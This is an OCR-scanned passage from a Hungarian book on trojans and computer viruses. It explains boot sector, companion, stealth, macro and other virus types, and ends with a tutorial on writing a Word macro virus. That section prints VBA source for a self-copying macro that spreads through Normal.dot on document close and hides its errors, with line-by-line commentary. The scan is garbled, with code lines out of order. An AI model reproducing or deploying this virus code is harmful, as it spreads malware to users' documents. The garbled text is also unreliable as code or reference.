„Futó folyamatok ellenőrzése" módszer Gyakran lepleződik le egy trójai úgy, hogy a „futó feladatokat" ellenőrizzük. Itt futtatható fájlokról van szó, amelyek a rendszerrel „együtt futnak". Ezeket különböző módokon lehet megfigyelni. Például a Ctrl+Alt+Del billentyűkkel. Megjelenik egy ablak, amely mutatja a futó programokat, amelyeket ennek megfelelően be is lehet zárni. Ez a módszer azonban egyáltalán nem biztos, mert a legtöbb trójai „tudja", hogy kell elrejtőzni a Taskmanager elől. A Windows-zal azonban egy jó kis eszközt is kapunk a futó folyamatok ellenőrzéséhez. A program neve: DrWatson. A Start menü Futtatás-ba írjuk be: drwatson. A program elindul, és először elvégez néhány vizsgálatot. Menjünk a Nézet menüpontra, és válasszuk a Mindent megmutat opciót. Kezdőknek azonban a DrWatson bonyolultnak tűnhet, mert tényleg mindent könyörtelenül megmutat, ami a Windows alatt adódik. A Windows 2000-be is integráltak egy nagyon jó folyamat-nézőkét, amelyet a Taskmanager-rel együtt lehet elindítani.
5. fejezet - Tartalom 5.1
Alapok 5.1.1 Defektes cluster mint álcázás 5.1.2 Miről ismeri fel a vírusvizsgáló a vírust? 5.1.3 Videokártyák - az elvetemült támadók búvóhelyei?
5.2
A vírus felépítése
5.3
Hogyan fertőz meg a vírus egy fájlt? 5.3.1 Így fertőznek a bootszektor vírusok 5.3.2 A dropper vírust helyez el
5.4
A legfontosabb vírustípusok rövid áttekintése 5.4.1 Bootszektor vírusok 5.4.2 Companion vírusok 5.4.3 Killerprogramok 5.4.4 Logikai bombák 5.4.5 Makrovírusok 5.4.6 Hálózati vírusok 5.4.7 Polimorf vírusok 5.4.8 Stealth vagy rejtőzködő vírusok 5.4.9 TSR fájlvírusok 5.4.10 Update vírusok 5.4.11 Férgek - az ILOVEYOU és társai 5.4.12 Időzítők
5.5
Word makrovírus írása 5.5.1 Minden ténykedés központja - a Normal.dot fájl 5.5.2 Modul vagy osztálymodul? 5.5.3 Vírusok kontra ServiceRelease 5.5.4 Modul makrók 5.5.5 Ilyet is lehet: a vírus egy Payload-ot hív meg
5.5.6 A vírus fájltulajdonságokat vagy szövegtartalmakat változtat meg 5.5.7 A vírus jelszóval védi a fájlt 5.6 5.7
Megfertőzött osztálymodulok ILOVEYOU 1385.7.1 Mi az a féreg? 5.7.142 A működési mód 5.7.3 Hogyan tudott a féreg elterjedni? 5.7.4 A forrás - kommentárokkal
5.8
Hogyan működnek a vírusvizsgálók? 5.8.1 Szkennermodul 5.8.2 Víruspajzs 5.8.3 „Fertőtlenítő" 5.8.4 A vírusvédő program kiválasztásának a szempontjai
5 Vírusok - Veszélyes fájlok
5.1 Alapok Az FBI kódolás elleni vírust fejleszt Minden eszközzel a potenciális terroristák ellen ... Az amerikai szövetségi rendőrség, az FBI egy eljárást fejleszt, amellyel a kódolt adatokat már a keletkezésük helyén dekódolni lehet - jelenti az MSNBC.com online média. Egy Magic Lantern nevű szoftver segítségével az FBI specialistái a jövőben egy olyan vírust tudnak becsempészni a gyanús szerverekre, amely megteremti a dekódolás előfeltételeit. Az FBI-nak sok szerverrel nem lesz nehéz dolga. Ezután a vírus mailben fogja elküldeni magát, vagy ismert biztonsági réseken becsempészi magát a szerverszoftverbe. Ha a fertőzött számítógépeken elindítanak egy kódolóprogramot, a vírus minden billentyűzet-bevitelt feljegyez, és elküldi az FBI-nak. A Magic Lantern azelőtt kezd működni, mielőtt még az adatok kódolása megtörténne, úgy, hogy kódolás közben kvázi kukucskál a felhasználó válla fölött, A US-hatóságok szemében már régóta tüskét jelentettek az erős kódolásra alkalmas programok, mivel az ezekkel kódolt adatokat nem lehet viszszafejteni. Csak miután az ipar bizonyítékokat szerzett arról, hogy a kemény kódolóprogramok az exporttilalom ellenére is elterjedtek, az USA fel adta a hivatalos ellenállást. 1983-ban programozta az első hivatalosan ismertté vált vírust Fred Cohan a dél-kaliforniai egyetemről. Doktori disszertációjához fejlesztette ki az önmagát reprodukáló program elméletét, és rögtön bizonyítékkal is szolgált. Az általa
programozott vírus Unix operációs rendszer alatt futott. A hatása az volt, hogy a rendszer minden felhasználója megkapott minden elérési jogot. Az újságokban és a televízióban újra és újra horrorisztikus híreket hallani új és veszélyes vírusokról. Ezek azonban többnyire erőteljes túlzások. A valóságban jelentősen több kár éri a számítógépes rendszereket és az adataikat szabotázsoktól, a szakszerűtlen kezeléstől vagy a hackertámadásoktól, mint a vírusoktól és következményeiktől. Egy vírustámadás következtében azonban bizonyos körülmények között minden adat és program elveszhet, ami jelentős anyagi károkat okoz. Fertőzésnek az orvostudomány azt a folyamatot nevezi, amelynél a kórokozók átterjednek egyik egyedről a másikra. Mivel a komputervírusok a biológiai vírusokhoz hasonlóan viselkednek, itt is az átviteli folyamatot nevezik fertőzésnek. A vírus az egyik vírushordozóról egy másik potenciális vírushordozóra, például egy merevlemezre kerül. Ez történhet egy olyan fertőzött program elindításával, amelyet interneten, CD-n vagy lemezen keresztül lehet kapni, vagy - a bootszektor vírusoknál - a lemez egy fertőzött bootrutinjával. A program általában álcázva van, mintha egy képről, egy Word vagy egy Excel fájlról lenne szó. Gyakran éppen az ártalmatlannak vélt fájlok okozzák a legnagyobb károkat, mert egy EXE fájllal sok felhasználó már eleve óvatosan bánik. Hogy az Offíce-alkalmazások makrovírusai milyen veszélyesek lehetnek, az kiderül a későbbiekben. Persze nem vezethető vissza vírusra a számítógéppel történő munka során fellépő hibák mindegyike. A legtöbb esetben a szoftver vagy egy meghajtó hiányosságáról van szó. Ennek ellenére óvatosnak kell lenni: ha hirtelen olyan hibák jelennek meg, amelyek hasonló körülmények között eddig nem léptek fel, akkor vírusellenőrzést kell végezni.
5.4.1 Defektes cluster mint álcázás A vírusoknak többnyire álcázómechanizmusaik vannak, amelyek védik őket a lelepleződéstől. Az egyik ilyen mechanizmus például megakadályozza, hogy a felhasználó felfedezze a vírus elfoglalta tárterületet a merevlemezen. A vírus befészkelődik az adathordozó egy tetszőleges helyére, és az elfoglalt clustert (helyfoglalási egységet) hibásnak mutatja. A legtöbb felhasználói program (tehát a vírusvizsgálók is) egyszerűen átugorják a hibás clustereket, vagy csak jelzik a hibát, és a megmaradt tárterületet mutatják meg.
5.1.2 Miről ismeri fel a vírusvizsgáló a vírust? Minden vírusnak van egy jellemző bitmintája, a hex-pattern. Ez hexadecimális karaktereknek egy 10-16 bájt hosszú láncából áll, és a vírus arra használja, hogy felismerje, fertőzött-e már egy fájl. Ha ez a hex-pattern már ismert, fel lehet használni egy meghatározott vírus kereséséhez az adathordozón. A keresés csak az önmagukat kódoló vírusoknál válik problematikussá.
5.1.3 Videokártyák az elvetemült támadók búvóhelyei? A videokártyák gyakran állnak vírushordozó gyanújában. A vírusok állítólag a kártya videomemóriájába fészkelik be magukat. Valójában ez lehetetlen: egy videokártya videomemóriája nem bootképes, az adatokat csak tárolja. Ezért egyetlen vírus sem tud közvetlenül a videokártya memóriájából a számítógép végrehajtható memóriájába kerülni. A videokártya memóriáját a vírus legfeljebb egy azonosító tárolására használhatja.
5.2 A vírus felépítése Minden vírus három vagy gyakrabban négy programrészből áll: az első rész egyfajta ismertetőjegy, amelyről a vírus felismeri önmagát. Ennek a segítségével tudja bármikor ellenőrizni, hogy meg van-e már fertőzve egy fájl. A második rész tartalmazza a tulajdonképpeni fertőzőrutint. Itt először egy szubrutinról van-e szó, amely még nem fertőzött, végrehajtható fájlt keres. Ha talál ilyet, a vírus bemásolja a programkódját a fájlba. Ebben a részben található a programkód is, amely szükség esetén úgy alakítja át a fájlt, hogy a vírus a program indításakor azonnal aktiválódni tudjon. Az esetleges álcázási eljárás szubrutinja is itt található. A harmadik rész dönti el, hogy ártalmatlan vírusról van-e szó, ami csak egy kis tréfát csinál, vagy egy destruktív kártevőről, amely közepes vagy nagy katasztrófát vált ki. Ártalmatlan esetben itt található az utasítás, hogy a vírus mondjuk x napon rajzoljon egy képet a monitorra, vagy írjon ki egy meghatározott szöveget. De ez a hely tartalmazhatná azt a parancsot is, hogy: „a következő újraindításnál formattáld a merevlemezt".
A negyedik résszel zárul a kör. Itt található az a parancs, amellyel a program a víruskód végrehajtása után visszatér oda, ahol a vírus megszakította a program futását.
5.3 Hogyan fertőz meg a vírus egy fajit? A fájlok megfertőzésénél a legnagyobb különbségek a módban vannak, ahogyan a vírus beveszi magát egy programba. Sok vírus egy futtatható fájl végéhez fűzi a saját programkódját, az elejére pedig egy hivatkozást tesz erre a kódra. Ha a programot elindítják, az a saját feladatainak a futtatása előtt először a vírusprogramra ugrik. Ha ezt végrehajtotta, megint visszaugrik arra a helyre, ahol eredetileg megszakította a folyamatot. Felhasználóként legfeljebb a fertőzött program indulási sebességének a minimális változását vesszük észre. Most már minden alkalommal, mikor a programot elindítják, először a vírus indul el, és ettől a perctől kezdve még meg nem fertőzött fájlokat keres, hogy azokhoz is hozzáférkőzzön, és megfertőzze őket. A víruskódnak ez a fájlhoz fűzése nem okoz maradandó károsodást a fertőzött fájlon, a vírusokat el lehet távolítani. Egyes vírusok azonban sokkal gátlástalanabbul viselkednek, és egyszerűen átírnak a fájlból annyit, amennyire a programkódjukhoz szükség van. Ha a gazdaprogram, a fájl, ugyanolyan méretű vagy nagyobb, mint a vírus, akkor ez viszonylag észrevétlenül történhet. Ha a vírus nagyobb, mint a vendéglátója, akkor kompletten átírja a fájlt, és annyival meghosszabbítja, amennyi helyre szüksége van.
5.3.1 így fertőznek a bootszektor vírusok A vírusok egy másik típusa áthelyezi az eredeti bootszektort, a helyére pedig a saját betöltőprogramját írja. Ez egy rutin, amely utasítja a BlOS-t az operációs rendszer betöltésére, a vírus pedig elrejtőzik valahol az adathordozón. Ha a gép indításkor a bootszektorhoz ér, a vírusbetöltő először a vírust indítja el, és ezután áttereli a beolvasást az átültetetett eredeti bootszektorra. A vírus ezen a módon olyan lemezeken is terjedhet, amelyek nem tartalmaznak programokat, csak fájlokat, mivel a nem bootképes lemezeknek is van egy minimális bootszektoruk. Ha a bootolási kísérletnél nem talál operációs rendszert, a betöltőprogram csak egy jelzést küld a képernyőre: nem rendszerlemez. A vírust az ilyen lemez is hordozhatja.
Más vírusok átírják a FAT-ben található könyvtárinformációt, és minden programnál a vírusprogram címét adják meg. Az eredeti címeket a vírus egy rendezett listára helyezi. Ha egy programot elindítanak, akkor ez először elindítja a vírust, majd az továbbítja az elérést a helyes címre. Minden fertőzésmódnak létezik néhány variánsa. Emellett vannak még hibrid vírusok is, amelyek a bootszektort és a fájlokat is meg tudják támadni. Több módszer kombinációja is gyakran előfordul, ezért is lehet egyre nehezebben osztályozni a vírusokat.
5.3.2 A dropper vírust helyez el A dropper nem vírus, nem is vírussal fertőzött program, ám ha lefut, egy vírust telepít a memóriába, a merevlemezre vagy egy fájlba. A droppereket egy bizonyos vírus átvitelére alkalmas programként vagy egyszerűen egy szabotázs segédeszközeként írják meg. Egyes antivírus-programok megkísérlik a dropperek felismerését, s az újabbaknak ez általában sikerül is.
5.4 A legfontosabb vírustípusok rövid áttekintése A vírusfigyelmeztetések szinte már a napi rutinhoz tartoznak az interneten. Többnyire a mailektől óvnak, amelyeknek a fájlmelléklete vírust rejt. Az ilyen figyelmeztetésekben általában azt is megadják, hogy milyen vírusról van szó. Ez fontos, mert a „fertőzésveszély" a típustól függően nagyobb vagy kisebb. Az alábbiakban egy rövid áttekintést adunk a legfontosabb vírustípusokról és sajátságaikról.
5.4.1 Bootszektor vírusok A leggyakrabban fellépő vírusok az olyan bootszektor vírusok, mint a Form és a Stoned vírus. Az ilyen vírusok a hajlékonylemezek bootszektorát és/vagy a master boot recordot (MBR), illetve a master boot partíciós szektort vagy a DBR-t, a DOS boot recordot, illetve DOS-bootszektort fertőzik meg a merevlemezen. Egy bootszektor vírus a következőképpen terjed.
Kapunk egy flopit adatokkal, amelyek a vírussal fertőzöttek. Az, akitől a lemezt kaptuk, azonban nem tudja, hogy a számítógépe és ezáltal a lemez is bootszektor vírussal fertőzött. A lemezt behelyezzük az A: meghajtóba, és elkezdjük használni az adatait. Eddig a vírus még semmit sem csinált. Valamikor kikapcsoljuk a számítógépet. A következő reggelen újból bekapcsoljuk a számítógépet. A lemez még az A: meghajtóban van, és a BIOS-ban Boot from Floppy van beállítva: tehát a számítógép megpróbál erről a lemezről elindulni. Betölti a lemez első szektorát a memóriába, hogy lefuttassa a kódot, amit tartalmaz, vagy hogy kiírja: Nem rendszerlemez, a folytatáshoz üssünk le egy tetszőleges billentyűt amennyiben nem talál rajta DOS-rendszerfájlokat. Ezt az üzenetet már ezerszer láttuk, tehát kioldjuk a meghajtózárat, és lenyomunk valamilyen billentyűt. Ez a flopi azonban Stoned vírussal fertőzött, és a vírus programja lefut. Telepíti magát a merevlemezre, kicseréli magára az MBR-t, és az eredeti MBR-t a merevlemez egy más pontján helyezi el. Ha ezután elindul a gép a merevlemezről, lefut az MBR, ami mostanra azonban már nem más, mint a Stoned vírus. A vírus memóriarezidenssé válik, rátelepszik a 13h interruptra, az adathordozóról történő olvasás és írás interruptjára, és ezután betölti az eredeti MBR-t, és innentől kezdve az indítási folyamat a megszokott módon folytatódik. Mivel azonban fogja a flopiról olvasás/flopíra írás interruptját, a vírusprogram minden A: meghajtóra/-ról irányuló írási vagy olvasási műveletnél (habár azt gondoljuk, olvasásról van szó, a valóságban a vírus ír a lemezre) megvizsgálja a lemezt, és ha még nincs megfertőzve, installálja a Stoned vírust a bootszektorába. így a gépünk most minden lemezt megfertőz, ami bekerül az A: meghajtójába, előbb vagy utóbb pedig tovább adjuk ezeknek a lemezeknek valamelyikét, és ezzel a körforgás elölről kezdődik. A különböző bootszektor vírusok működési módjai a részleteikben ugyan különböznek egymástól, de az alapelv mindegyiknél ugyanaz. A fertőzött flopik bootszektoráról kerülnek fel a gépre, és csak így lehet őket továbbadni (egy bootszektor-vírus nem tud például a hálózaton keresztül terjedni). A fertőzés csak a fertőzött lemezről történő indítási kísérletnél következhet be, még ha ez a kísérlet sikertelen is lenne. A bootszektor vírusok PC-ket támadnak meg. Semmi jelentősége nincs annak, hogy milyen operációs rendszert használ a gép, vagy hogy milyen vírusvédő programot telepítettek rá, mert abban a pillanatban, mikor a bootszektor vírus telepíti magát, az operációs rendszer vagy a védőprogram még egyáltalán nincsen betöltve. Egyes operációs rendszereknél, amelyek nem DOS-alapúak, a PC ugyan megfertőződík, a vírus azonban nem tudja a gépbe helyezett lemezekre
másolni magát, és így nem tud terjedni. Kárt azonban ugyanúgy okozhat ezeken a gépeken is, mint azt egy döbbent Unix-felhasználó megtapasztalta, mikor 2000. március 6-án a Michelangelo vírus meglepetésszerűen lecsapott a gépére. Sokan meg vannak lepve, mikor megtudják, hogy egy vírus ilyen módon terjed, és ebben keresendő a bootszektor vírusok gyakoriságának az oka is. A vírusvizsgálók, működési módjuk miatt, csak a lemezek vizsgálatakor tudják felismerni és törölni a bootszektor vírusokat. A boot-támadás idején azonban tehetetlenek. Ajánlott a számítógép fő bootszekvenciáját úgy beállítani a BIOS-ban, hogy először mindig a merevlemezről próbáljon bootolni, második lehetőségként pedig meg lehet adni a CD-ROM meghajtót. Ha egy merevlemez-problémánál a bootolás lehetetlenné válna (headcrash vagy hasonló), a BIOS-t még mindig át lehet állítani egy tiszta(!) lemezről bootolásra. A lemezeket, amelyeket kapunk, ennek ellenére gondosan ellenőrizzük vírusvizsgálóval, nehogy másoknak okozzanak károkat továbbadáskor.
5.4.2 Companion vírusok Ha egy COM és egy EXE fájlnak ugyanaz a neve, és ezt a nevet begépeljük, a DOS először mindig a COM fajit hajtja végre. A companion vírusok is ezt a körülményt használják ki, az EXE fájlhoz készítenek egy azonos nevű COM fájlt, amelyben benne van a víruskód. Ha ezután megpróbáljuk elindítani az EXE fájlt, helyette a COM program, tehát a vírus fut le. Ha a vírus befejezte a ténykedését, például készített egy újabb companion vírust egy újabb fájlhoz, elindítja az EXE programot is, hogy úgy tűnjön, minden a legnagyobb rendben működik. Volt néhány igazán sikeres companion vírus, de nem sok. A vírusprogramozónak az a fő előnye, hogy az EXE fájl egyáltalán nem változik, és így a megváltoztatott programok némelyike egyáltalán nem is veszi észre, hogy egy vírus terjed. Az elrejtéshez gyakran a rejtett vagy a rendszer tulajdonságot adják a fájlnak. Ezeket az intéző alapértelmezésben nem mutatja.
5.4.3 Killerprogramok A killerprogramok olyan vírusok, amelyek bizonyos számú fertőzés után tönkreteszik a fertőzött gép merevlemezét. A vírus erre a célra egy fertőzésszámlálót tartalmaz, amely egy rögzített értéktől kezdve visszaszámol. Ha eléri
a nullát, kiváltja a rombolóakciót. Egyes esetekben a vírus ilyenkor kiadja és lefuttatja a FORMÁT C: parancsot. Más vírusok minden fájlt törölnek az adathordozón. A legbarátságtalanabb változat a FAT bejegyzéseit változtatja meg. Ilyenkor minden fájl ott marad ugyan a merevlemezen, csak az adatállomány többé nem olvasható és használható.
5.4.4 Logikai bombák A logikai bombák a vírusok különleges fajtái: ezeknek a működésbe lépését kiválthatja egyfajta időzítő vagy egy feltétel teljesülése, például egy bizonyos szó vagy felhasználói név beírása vagy hiánya. Ezek a vírusok többnyire egy meghatározott rendszerre korlátozódnak: a bombák rendszerint csak egy megadott környezeten belül tudják reprodukálni magukat, és ezért ezen a környezeten kívül hatástalanok.
5.4.5 Makrovírusok A makrovírusok olyan vírusok, amelyek adatfájlokat fertőznek meg. Makrovírusokat jellemzően Microsoft Word dokumentumokban (.doc vagy .dot végződéssel) és már Excel fájlokban is találunk. Amint megnyitunk egy fertőzött Word dokumentumot, az megfertőzi a Normal.dot fájlt. Ha ezután egy dokumentumot mentünk vagy nyitunk, az is megfertőződik a vírussal. A makrovírusok például egy másikra tudják cserélni a Mentés parancsot, a felhasznált programnyelv alapján adatokat tudnak törölni vagy módosítani. Hogy a makrovírusok hogyan működnek, milyen parancsokat tudnak kiváltani, és milyen trükköket vetnek be álcázásként, az a későbbiekben fog kiderülni.
Olyan vírusok, amelyek több operációs rendszerben is tudnának terjedni, még nincsenek. A vírusok, a koncepciójuknál fogva, mindig egy rendszer gyenge pontjaira vannak kihegyezve. Mivel ezek minden rendszerben mások, és minden rendszer más programozási követelményeket állít, belátható időn belül aligha lesznek olyan vírusok, amelyek például Mac és MS-DOS gépeken is tudnának működni. A legtöbben azt hiszik, hogy egy vírus, amint bekerül egy hálózatba, azonnal viharos sebességgel el is terjed rajta. Ez azonban a valóságban sokkal bonyolultabb. Először is a bootszektor vírusok nem tudnak hálózaton keresztül terjedni, még akkor sem, ha több, hálózatra csatlakozó számítógép fertőzött, mert ez a vírustípus csak flopin keresztül terjed. A fájlvírusok ezzel szemben a következőképpen fertőznek hálózaton keresztül: 1. „A" kolléga megfertőzi a számítógépét, valószínűleg egy e-mail mellékletével vagy egy barátja demólemezével. A vírus memóriarezidenssé válik. 2. „A" kolléga további programokat futtat a merevlemezén, amelyek ezáltal ugyancsak megfertőződnek. 3. „A" kolléga néhány programot a hálózaton futtat, ezek is megfertőződnek. A hálózat egy DOS-eszközt emulál, ez azt jelenti, hogy fájlok olvasása és írása ugyanolyan módon történik a szerveren, mint lokálisan. A vírusnak tehát nem kell a szokásostól eltérően viselkednie ahhoz, hogy a szerveren is meg tudjon fertőzni fájlokat. 4. „B" kolléga bejelentkezik a szerverre, és végrehajt egy fertőzött fájlt. A vírus „B" kolléga gépén is memóriarezidens lesz. 5. „B" kolléga több más programot futtat saját, helyi merevlemezén és a szerveren. Valamennyi végrehajtott fájl megfertőződik. 6. „C", „D" és „E" kollégák bejelentkeznek, és futtatják a ferőzött fájlokat. 7. ...és így tovább.
5.4.6 Hálózati vírusok Speciális hálózati vírusokból még kevés van, azonban a legtöbb vírus hálózaton is tud terjedni. A klasszikus hálóvírusok az úgynevezett férgek. Ezek a vírusok nem programfüggelékként terjednek a rendszerekben, hanem önállóan tudják reprodukálni a saját kódjukat, és önálló programként tudják lefuttatni magukat.
Másképp történik a fertőzés az olyan vírusoknál, amelyek elküldik magukat a mail-címjegyzék minden címére. Itt elég, ha „A" kolléga lefuttatja a fájlt, és a címjegyzékéből minden kollégája kap egy mailt a vírussal. Ha ezek a kollégák ugyancsak megnyitják a mellékletet, minden kezdődik elölről. A különböző címjegyzék-bejegyzéseken keresztül a vírus gyorsan eljut az üzletfelekhez, barátokhoz stb., és így lavinát vált ki. Az ILOVEYOU a maga idejében pontosan ilyen vírus volt. Más sajátosságai mellett saját magát szaporította. Még kompu-
tercégeknél is egész részlegeket bénított meg, mert a mailforgalom egyfolytában növekedett, és minden további futtatás ismét elindította a küldést.
5.4.7 Polimorf vírusok Az antivírus programok leggyakrabban használt fajtája a szkenner, amely a víruskódok egy bizonyos repertoárja után kutat. A vírusprogramozó ezt a programot szeretné a legjobban becsapni. A polimorf vírus olyan kártevő, amelyből egy helyen nem fordul elő két másolat, amelyek ugyanazt a bájtsorozatot tartalmaznák. Ezért egy ilyen vírust nem lehet egyszerűen egy meghatározott bájtsorozatról felismerni, ennél sokkal összetettebb és nehezebb feladatot kell megoldania annak, aki el akarja csípni.
5.4.8 Stealth vagy rejtőzködő vírusok Ha egy vírus memóriarezidenssé tud válni, ami pedig a komputeres világban megjelenő vírusok 99%-ára igaz, akkor legalább egy interruptot fogni tud. Ha bootszektor vírusról van szó, akkor az a 13h interruptot használja (az adathordozók olvasása/írása). A stealth vírusoknál viszont, ha egy tetszőleges program megpróbálja olvasni a bootszektort, a vírus azt mondja magában: „Aha, itt valaki látni akarja a bootszektort. Egyszerűen beolvasom az eredeti bootszektort onnan, ahová eltettem, és aztán a fertőzött bootszektor helyett az eredeti tartalmát prezentálom. Hi-hi." Ezáltal a lekérdező programnak semmi szokatlan sem tűnik fel. Az 1986-ban készült Éráin vírus volt az első olyan, amelyik ezzel a trükkel dolgozott. A fájlvírusok, mint amilyen a Frodo, hasonló trükkel szintén el tudják titkolni a létezésüket úgy, hogy minden program, amely a fájlt olvassa, csak azokat a bájtokat látja, amelyeket az a vírusfertőzés előtt tartalmazott. Az ilyen álcázási képességek azonban gyakrabban figyelhetők meg bootszektor vírusoknál, mint fájlvírusoknál, mert egy bootszektor vírushoz sokkal egyszerűbb álcázórutint írni.
5.4.9 TSR fájlvírusok A második leggyakoribb vírusfajta a TSR fájlvírus. Mint a neve is mutatja, az ilyen típusú vírus fájlokat támad meg, azok közül is általában a COM és az EXE
fájlokat; azonban van néhány eszközmeghajtó vírus is. Egyes vírusok overlay fájlokat (programok lapozófájljai) fertőznek meg, ezek az *.OVL fájlok, és a végrehajtható programoknak sem feltétlenül kell COM vagy EXE kitérjesztésűeknek lenniük, bár ez az esetek 99%-ára igaz. Ahhoz, hogy egy TSR vírus terjedni tudjon, valakinek le kell futtatni a fertőzött programot. A vírus memóriarezidenssé válik, és általában minden utána elindított programot megvizsgál, hogy megfertőzze, ha az még nem fertőzött. Egyes vírusokat gyorsan fertőző vírusoknak is neveznek. Az ilyen vírusok már akkor megfertőznek egy fájlt, ha csak megnyitjuk azt (például egy adatmentésnél bizonyos körülmények között minden fájlt megnyitnak, amit a meghajtó tartalmaz.) Az első gyorsan fertőző vírus a Dark Avenger volt. A Green Caterpiller fertőzőrutinját viszont minden olyan folyamat kiváltja, amely meghatározza, hogy milyen fájlok állnak rendelkezésre az adathordozón (pl. a DIR parancs). Használnak még más fertőzőrutinokat is, de a legtöbb esetben egy program csak akkor fertőződik meg, amikor végrehajtják.
5.4.10 Update vírusok Az update vírusok különösen ravasz kórokozók. Családokra oszlanak, és ezeket többnyire egyetlen programozó vagy egy csoport fejleszti. A hex pattern mellett ezek a vírusok nemcsak egy verziószámot tartalmaznak, hanem egy update rutint is, amely ellenőrzi, hogy a vírus fellépett-e már valamely verziójában. De ez még nem minden: a rutin azt is megvizsgálja, hogy a fájlok tartalmazzák-e már a vírus egy régebbi verzióját. Ha igen, akkor lecseréli ezeket. Ha újabb verzió van telepítve, akkor ezzel nem fertőz újra.
5.4.11 Férgek - az ILOVEYOU és társai A komputerférgek olyan programok, amelyek önállóan tudnak egy hálózaton terjedni. Ezeknél nem klasszikus vírusról van szó, hanem azzal rokon zavaróprogramokról, amelyek azonban vírust is tartalmazhatnak. A férgek önálló programok, amelyeknek nincs szükségük arra, hogy gazdaprogramokhoz fűzzék magukat. Többnyire több, egymáshoz kapcsolódó programszegmensből állnak. A komputerférgek saját magukat tudják reprodukálni, és hálózati funkciók segítségével más számítógépekre másolódnak.
5.4.12 Időzítők Az időzítők a vírusok speciális kioldómechanizmusai. A vírusprogramon belül egy rutin lekérdezi a rendszeridőt. Ha az elér egy rögzített értéket, kiváltja a vírus akciótartalmának a végrehajtását. A feltétel lehet a bekapcsolástól számított időtartam vagy egy előre meghatározott dátum. Elméletileg így például születésnapi üdvözletet lehet valakinek küldeni, amely a szóban forgó napon automatikusan elindul. A naptári dátumok mellett olyan rutint is lehet használni, amely minden nap, ugyanabban az órában indul el. Az időzítők feltételeinek a választéka szinte határtalan.
5.5 Word makrovírus írása Biztos, hogy mindenki látta már a Word megerősítő kérdését, ha valakitől egy olyan dokumentumot kapott, amelynek a sablonjában makrók voltak. Lehet, hogy a makrók engedélyezésére kattintott, vagy kétkedőn a tiltásukat választotta, de biztosan nem volt a tudatában annak, hogy milyen veszély bújik meg mögöttük. A következő oldalakon sok minden kiderül a Word makrovírusok programozásáról. Itt különösen fontos tudni, hogy milyen trükkökkel álcázhatják a programozók a programjaikat, és milyen potenciális veszélyeket hordoznak ezek. Ha ezzel valaki meg tud úszni egy Word makrovírust vagy legalább felismeri azt, már megérte az ismertetés. Íme, a vírusspecialista Aciidfreak útmutatója, valamennyire módosított formában. Aki tud VB-ben programozni, annak nagyon egyszerű a makrók írása. A VBA lassú, de hatalmas. Minden parancsnak a birtokában van, amit a VB alatt is használni tudunk, és minden API-funkciót is ismer (API = Application Programming Interface).
5.5.1 Minden ténykedés központja - a Normal.dot fájl A Word minden indításkor betölt egy globális fájlt, a Normal.dot-ot. Ebben a fájlban lehetnek a makrók, amelyek azután minden dokumentumra érvényesek. Ezt a fájlt támadják meg, hogy a Wordot megfertőzzék. Ha a Word fájlok makrót tartalmaznak, akkor ezek a fájl megnyitásakor rendszerint ugyancsak megnyílnak és aktívvá válnak. De a Word idegen szövegeknél megkérdezi,
hogy aktiválja-e a makrókat is. Ez a kérdés azonban csak erre a dokumentumra érvényes, ezért kell a fertőzéshez a Normal.dot-ba másolni a makrovínisokat, és a Normal.dot-ból minden, még nem fertőzött DOCfájlba. Ez a makrovírus alapÖtlete.
5.5.2 Modul vagy osztálymodul? A vírusok mindig egy osztálymodulban vagy egy modulban vannak. Egy modul elkészítéséhez az Eszközök/Makró/Visual Basic-kel megnyitjuk a Word makroszerkesztőjét. Itt a Beszúrás menüből kiválasztjuk, hogy Modulról vagy Osztálymodulról, esetleg UserFormról lesz-e szó. A UserFormok a makroprogramozás szempontjából nem érdekesek, a modulok és az osztálymodulok a fontosak. Ezekbe kerülnek az önálló projektrészek, amelyeket bárhol újra elő lehet venni. Először a modulokban lévő makrovírusokkal foglalkozunk.
5.5.3 Vírusok kontra ServiceRelease Az SR-1 a Microsoft egy ServiceRelease-e, amely a WordBasicben elérhetetlenné teszi a MacroCopy és Application OrganizerCopy parancsokat, de egy vírusíró erre mindig talál megoldást.
5.5.4 Modul makrók Az alábbiakban megtalálható minden, amire egy Word makrovírushoz szükség van, de hangsúlyozzuk, hogy az egészet csak tájékoztatásnak szánjuk, nem pedig megvalósítás céljára. Attribute VB_Name = "demo"
Sub AutoCloseQ
On Error Resume Next Application. VBE.ActiveVBProject. VBComponents(" demo").Export "c:\demo.sys"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If
NormalTemplate.VBProject.VBCpmponents(I).Name NormInstall = True Next I
=
"demo"
Then
For I = l To ActiveDoctiment.VBProject.VBComponents.Count If ActiveDocument.VBProject.VBComponents(I).Name = "demo" Then ActivInstall = True Next I If ActivInstall = True And Normlnstall = False Then Set Dobj = NormalTemplate. VBProject_ Else If ActivInstall = False And Normlnstall = True Then Set Dobj = ActiveDocument. VBProject
If NormalTemplate. VBProject. VBCpmponents(I).Name = "demo " Then Normlnstall = True Ha a Normal.dot-ban van egy modul, amit demo-nak hívnak (tehát a vírus), True-ra állítja a NormalInstall-t. Next I A For cikluson belül a következő értékre lépteti a ciklusváltozót. For I = 1 To ActiveDocument. VBProject. VBComponents. Count Ez egy For ciklus. Annyiszor ismétli meg a For és a Next közötti kódot, ahány modul található az aktív dokumentumban.
Dobj. VBComponents.Import ("c: \demo.sys") End Sub
IfActiveDoaiment. VBProject. VBComponents(I).Name = "demo" Then ActivInstall = True Ha az aktív dokumentumban van egy modul, amelynek a neve „demo" (tehát, mint a vírusé), True-ra állítja az Activlnstall-t.
így ni, ezt most fogjuk most darabokra szedni.
Next I
Attribute VB_Name = "demo" A Demo a modul neve. És a modul neve általában a vírus neve. Sub AutocloseQ Ez a sub minden alkalommal lefut, ha egy dokumentumot bezárnak. Vannak még más autofunkciók is, amelyek automatikusan végrehajtódnak: például AutoOpen, AutoExit, Autoexec.
A For cikluson belül a következő értékre lépteti a ciklusváltozót. If ActivInstall = True And Normlnstall = False Then Set Dobj = NormalTemplate. VBProject Ha az aktív dokumentumban, és nem a Normal.dot-ban vagyunk, akkor a Dobj-t NormalTemplate. VBProject-re állítja. Itt rögzíti, hogy később melyik fájlba importál: vagy a Normal.dot-ba, vagy az aktív dokumentumba.
On Error Resume Next Ez esetleg a VB-ből már ismert. Ha hiba lépne fel, egyszerűen a következő parancsot hajtatja végre, ahelyett, hogy hibaüzenetet írna ki, ami elárulná a vírust.
